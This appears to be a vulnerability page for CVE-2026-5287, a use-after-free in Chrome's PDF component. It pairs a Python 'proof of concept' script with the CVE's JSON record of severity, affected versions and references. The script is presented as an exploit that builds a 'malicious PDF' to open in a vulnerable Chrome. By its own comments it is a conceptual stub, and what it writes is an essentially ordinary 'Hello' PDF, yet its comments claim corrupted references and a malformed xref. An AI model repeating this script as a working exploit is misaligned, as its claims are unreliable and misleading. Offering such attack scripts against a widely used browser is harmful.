CVE-2026-5287

import sys # Proof of Concept for CVE-2026-5287 (Chrome PDF UAF) # This script generates a malformed PDF intended to trigger the Use-After-Free vulnerability. # It creates a basic PDF structure with specific anomalies to stress the parser. def generate_malicious_pdf(filename): pdf_header = b"%PDF-1.4\n" # Malformed object stream attempting to trigger the UAF in PDFium # This is a conceptual stub; actual trigger bytes depend on the specific bug. malicious_object = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # Corrupted reference to simulate the UAF condition corrupted_stream = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # A crafted stream that might cause the free/reuse cycle payload = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n" stream_content = b"BT /F1 12 Tf 100 700 Td (Hello) Tj ET" # Intentionally malformed XRef table to confuse memory management xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000074 00000 n \n0000000131 00000 n \n0000000244 00000 n \n" trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n345\n%%EOF" with open(filename, "wb") as f: f.write(pdf_header) f.write(malicious_object) f.write(corrupted_stream) f.write(payload) f.write(b"4 0 obj\n<< /Length " + str(len(stream_content)).encode() + b" >>\nstream\n" + stream_content + b"\nendstream\nendobj\n") f.write(xref) f.write(trailer) if __name__ == "__main__": generate_malicious_pdf("poc_cve_2026_5287.pdf") print("[+] Malicious PDF generated: poc_cve_2026_5287.pdf") print("[+] Open this file in a vulnerable Chrome version to test.")

{"cve": {"id": "CVE-2026-5287", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:02.213", "lastModified": "2026-04-02T00:16:24.977", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in PDF in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/494644471", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}